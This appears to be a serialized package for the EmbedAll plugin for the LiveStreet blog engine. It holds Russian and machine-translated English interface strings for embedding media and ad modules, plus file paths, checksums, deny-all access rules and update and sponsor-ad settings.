'embedall_choose_typeof_media' => 'Выберите тип объекта' , 'embedall_media' => 'Медиа' , 'embedall_advert' => 'Реклама' , 'embedall_content_media' => 'Вставьте код для внедрения объекта медиа' , 'embedall_content_advert' => 'Вставьте код для внедрения рекламного модуля' , 'embedall_media_yandex' => 'video.yandex - видео-аудио' , 'embedall_media_youtube' => 'youtube - видео (URL)' , 'embedall_media_yandex_music' => 'music.yandex - музыка (URL)' , 'embedall_media_soundcloud' => 'soundcloud.com - аудио' , 'embedall_media_soundcloud_playlist' => 'soundcloud.com (playlist) - аудио' , 'embedall_media_issuu' => 'issuu.com - публикация' , 'embedall_media_zoomit' => 'zoom.it - гипер-изображения (URL)' , 'embedall_media_pastebin' => 'pastebin.com - заметки (URL)' , 'embedall_media_osm' => 'OpenStreetMap.org - открытая карта ' , 'embedall_advert_adsense' => 'adsense - google-реклама' , 'embedall_advert_begun' => 'begun - реклама Бегун' , 'embedall_help_button' => 'Помощь' , 'embedall_help_m_1' => 'Плагин EmbedAll для Livestreet поможет Вам легко внедрять в топики разноообразные объекты.' , 'embedall_help_m_2' => 'Медийные объекты - это интерактивные карты, аудио-видео проигрыватели, включая новый формат youtube, сервисы он-лайн просмотра документов, презентаций, графики, слайдов, фотографий, гига-панорам и т.п.' , 'embedall_help_m_3' => 'help_m_3' , 'embedall_help_m_4' => 'Выберите из списка понравившийся сервис.' , 'embedall_help_m_5' => 'Для внедения объекта надо зайти на сайт выбранного сервиса, затем найти и скопировать код для вставки (embed code) объекта в блог, либо в квадратных скобках указать идентификатор объекта. Для некоторых сервисов (отмечены значком URL в списке) достаточно скопировать в окно адрес из строки браузера.' , 'embedall_help_m_6' => 'Для внедрения объекта достаточно нажать кнопку [Вставить объект] и затем опубликовать топик. Кроме того, внедрить объект можно и с помощью тегов <media> в редакторе Livestreet. Введенный код проверяется перед обработкой.' , 'embedall_help_m_7' => 'На сайте EmbedAll.ru всегда можно бесплатно скачать свежую версию плагина, а также ознакомиться с примерами и подробной инструкцией по его использованию.

Мы постоянно расширяем список поддерживаемых сервисов.

В бесплатном варианте использования плагин может добавлять в конце топика рекламу спонсора.' , 'embedall_help_a_1' => 'Плагин EmbedAll для Livestreet поможет Вам легко и непринужденно вставлять в топики разноообразные объекты - в том числе и рекламные модули.' , 'embedall_help_a_2' => 'help_a_2' , 'embedall_help_a_3' => 'Рекламные объекты - это рекламные модули, которые могут помочь мотивировать посетителей сайта писать собственные статьи. Например, автор может добавлять в каждую статью модуль Adsense со своим уникальным ключом и зарабатывать на просмотрах своего текста.' , 'embedall_help_a_4' => 'Выберите из списка понравившийся сервис.' , 'embedall_help_a_5' => 'Для внедения объекта надо зайти на сайт выбранного сервиса, затем найти и скопировать код для вставки (embed code) объекта в блог, либо в квадратных скобках указать, например, для adsense свой идентификатор. Помните об условиях и ограничениях использования сервисов.' , 'embedall_help_a_6' => 'Для внедрения объекта достаточно нажать кнопку [Вставить объект] и затем опубликовать топик. Кроме того, внедрить объект можно и с помощью тегов <advert> в редакторе Livestreet. Введенный код проверяется перед обработкой.' , 'embedall_help_a_7' => 'На сайте EmbedAll.ru всегда можно бесплатно скачать свежую версию плагина, а также ознакомиться с примерами и подробной инструкцией по его использованию.

Мы постоянно расширяем список поддерживаемых сервисов.

В бесплатном варианте использования плагин может добавлять в конце топика ссылку спонсора.' , 'embedall_help_skip' => 'Выкл.' , 'embedall_help_next' => 'Далее →' , 'embedall_help_prev' => '← Назад' , 'embedall_help_done' => 'Открыть EmbedAll.ru в новом окне' , 'embedall_help_url' => 'http://embedall.ru' , 'embedall_placeholder_m' => 'Скопируйте в это окно <код для вставки в блог> или укажите в скобках [идентификатор объекта]' , ) ; ?> ";s:4:"csum";s:32:"c423d026f12338f1dd985dd80bd78de3";}s:4:"tple";a:3:{s:4:"path";s:31:"/templates/language/english.php";s:4:"body";s:4733:" 'Add object' , 'Embedall_add' => '[EmbedAll]> Add object' , 'Embedall_confirm' => 'Insert Object' , 'Embedall_cancel' => 'Cancel' , 'Embedall_choose_typeof_media' => 'Select an option' , 'Embedall_media' => 'Media' , 'Embedall_advert' => 'Advertising' , 'Embedall_content_media' => 'Insert code to embed an object of media' , 'Embedall_content_advert' => 'Insert code to implement the advertising module' , 'Embedall_media_yandex' => 'video.yandex - video-audio' , 'Embedall_media_youtube' => 'youtube - video (URL)' , 'Embedall_media_yandex_music' => 'music.yandex - Music (URL)' , 'Embedall_media_soundcloud' => 'soundcloud.com - Audio' , 'Embedall_media_soundcloud_playlist' => 'soundcloud.com (playlist) - Audio' , 'Embedall_media_issuu' => 'issuu.com - Publication' , 'Embedall_media_zoomit' => 'zoom.it - ​​hyper-image (URL)' , 'Embedall_media_pastebin' => 'pastebin.com - notes (URL)' , 'Embedall_media_osm' => 'OpenStreetMap.org - up card' , 'Embedall_advert_adsense' => 'adsense - google-ads' , 'Embedall_advert_begun' => 'begun - advertising Begun' , 'Embedall_help_button' => 'Help' , 'Embedall_help_m_1' => 'Plugin EmbedAll for Livestreet helps you easily embed objects in a more diverse topics.' , 'Embedall_help_m_2' => 'media objects - are interactive maps, audio-video players, including the new format youtube, services on-line viewing of documents, presentations, graphics, slides, photos, panoramas and giga-like' , 'Embedall_help_m_3' => 'help_m_3' , 'Embedall_help_m_4' => 'Select a service from the list liked.' , 'Embedall_help_m_5' => 'To vnedeniya object must enter the site selected service, then find and copy the embed code (embed code) subject to the blog, or in square brackets indicate the object identifier. For some services (marked with URL in the list) just copy the address into the window of the browser string. ' , 'Embedall_help_m_6' => 'To embed an object, simply click [Insert object] and then publish the topic. In addition, you can embed an object and use the tags in the editor Livestreet. The entered code is tested prior to treatment. ' , 'Embedall_help_m_7' => 'The site EmbedAll.ru can always be free to download the latest version of the plugin, as well as get acquainted with examples and detailed instructions for its use.

We are constantly expanding the list of supported services. In the free version of the plugin can use to add the last topic advertising sponsor. ' , 'Embedall_help_a_1' => 'Plugin EmbedAll Livestreet to help you easily and naturally inserted into topics more diverse objects - including adware.' , 'Embedall_help_a_2' => 'help_a_2' , 'Embedall_help_a_3' => 'Promotional items - is adware that can help motivate visitors to write their own articles. For example, an author can add to every article module Adsense with a unique key, and earn screenings of his text. ' , 'Embedall_help_a_4' => 'Select a service from the list liked.' , 'Embedall_help_a_5' => 'To vnedeniya object must enter the site selected service, then find and copy the embed code (embed code) subject to the blog, or in square brackets to indicate, for example, adsense its identity. Be aware of the conditions and limitations of the use of services. ' , 'Embedall_help_a_6' => 'To embed an object, simply click [Insert object] and then publish the topic. In addition, you can embed an object and use the tags in the editor Livestreet. The entered code is tested prior to treatment. ' , 'Embedall_help_a_7' => 'The site EmbedAll.ru can always be free to download the latest version of the plugin, as well as get acquainted with examples and detailed instructions for its use.

We are constantly expanding the list of supported services. In the free version of the plugin can be used to add a link at the end of Topeka sponsor. ' , 'Embedall_help_skip' => 'Off' , 'Embedall_help_next' => 'Next →' , 'Embedall_help_prev' => '← Back' , 'Embedall_help_done' => 'Open EmbedAll.ru in new window' , 'Embedall_help_url' => 'http://embedall.ru' , 'Embedall_placeholder_m' => 'Copy in the window or specify in brackets [Object id]' , ) ; ?> ";s:4:"csum";s:32:"f0083f89e6ba82c55a675ff3dd9e5b56";}s:4:"skin";a:3:{s:4:"path";s:48:"/templates/skin/default/window_load_embedall.tpl";s:4:"body";s:8439:"

{literal} {/literal} ";s:4:"csum";s:32:"118dc268502f37128f5ce9464b1ce9fe";}s:5:"skinf";a:3:{s:4:"path";s:38:"/templates/skin/default/footer_add.tpl";s:4:"body";s:0:"";s:4:"csum";s:32:"29280c61a6efe5a3c096c859e4feb967";}s:5:"skinh";a:3:{s:4:"path";s:38:"/templates/skin/default/helper_add.tpl";s:4:"body";s:0:"";s:4:"csum";s:32:"f67d0d166461d13726bd29bca26f171c";}s:4:"isql";a:3:{s:4:"path";s:16:"/sql/install.sql";s:4:"body";s:0:"";s:4:"csum";s:32:"72bff89227a678620b13e5d5cc75ba47";}s:4:"dsql";a:3:{s:4:"path";s:18:"/sql/deinstall.sql";s:4:"body";s:0:"";s:4:"csum";s:32:"caecab4a8c9881704203ed69ce243cac";}s:4:"htr2";a:3:{s:4:"path";s:14:"/sql/.htaccess";s:4:"body";s:30:"Order Deny,Allow Deny from all";s:4:"csum";s:32:"7a9f7910ac4a796765da5456d3e9c626";}s:4:"rulz";a:3:{s:4:"path";s:14:"/ext/rules.php";s:4:"body";s:0:"";s:4:"csum";s:32:"9e0c10a3608d6d140af349cb26ffae80";}s:4:"htr3";a:3:{s:4:"path";s:14:"/ext/.htaccess";s:4:"body";s:30:"Order Deny,Allow Deny from all";s:4:"csum";s:32:"0bf872bffefa94ec743b19e483f5c0ee";}s:3:"ini";a:3:{s:4:"path";s:25:"/PluginEmbedall.class.php";s:4:"body";s:716:" array ( 'ModuleText' ) ) ; } ?> ";s:4:"csum";s:32:"bdcf77644b718039619372f7a3497de8";}s:3:"htr";a:3:{s:4:"path";s:17:"/config/.htaccess";s:4:"body";s:31:"Order Deny,Allow Deny from all ";s:4:"csum";s:32:"478202bd34660f488b7e070cd90e181a";}}s:4:"stat";a:2:{s:4:"body";s:565:" ";s:4:"csum";s:32:"10844ac53935aa89b5243c6a976b731e";}s:6:"magnum";a:4:{s:8:"upd_path";s:54:"https://dl.dropboxusercontent.com/u/83685603/EmbedAll/";s:10:"license_id";s:16:"1818f6ee4018f6eg";s:7:"crc-tag";s:32:"f0e2e2b773b42a5d9d0f2c4b644eaecf";s:9:"file_date";s:11:"2013-jul-19";}s:6:"server";s:0:"";s:5:"promo";a:2:{s:6:"advert";a:3:{s:4:"link";s:115:"

object embedded with EmbedAll plugin

";s:7:"nothing";s:0:"";s:4:"show";s:4:"link";}s:13:"registered_to";s:0:"";}s:9:"adrotator";a:2:{s:4:"show";b:1;s:7:"content";a:2:{i:0;s:117:"

Анбоксы и обзоры интересных вещей

";i:1;s:223:"

Плагин EmbedAll для Livestreet поможет Вам легко внедрять в топики разноообразные объекты.

";}}}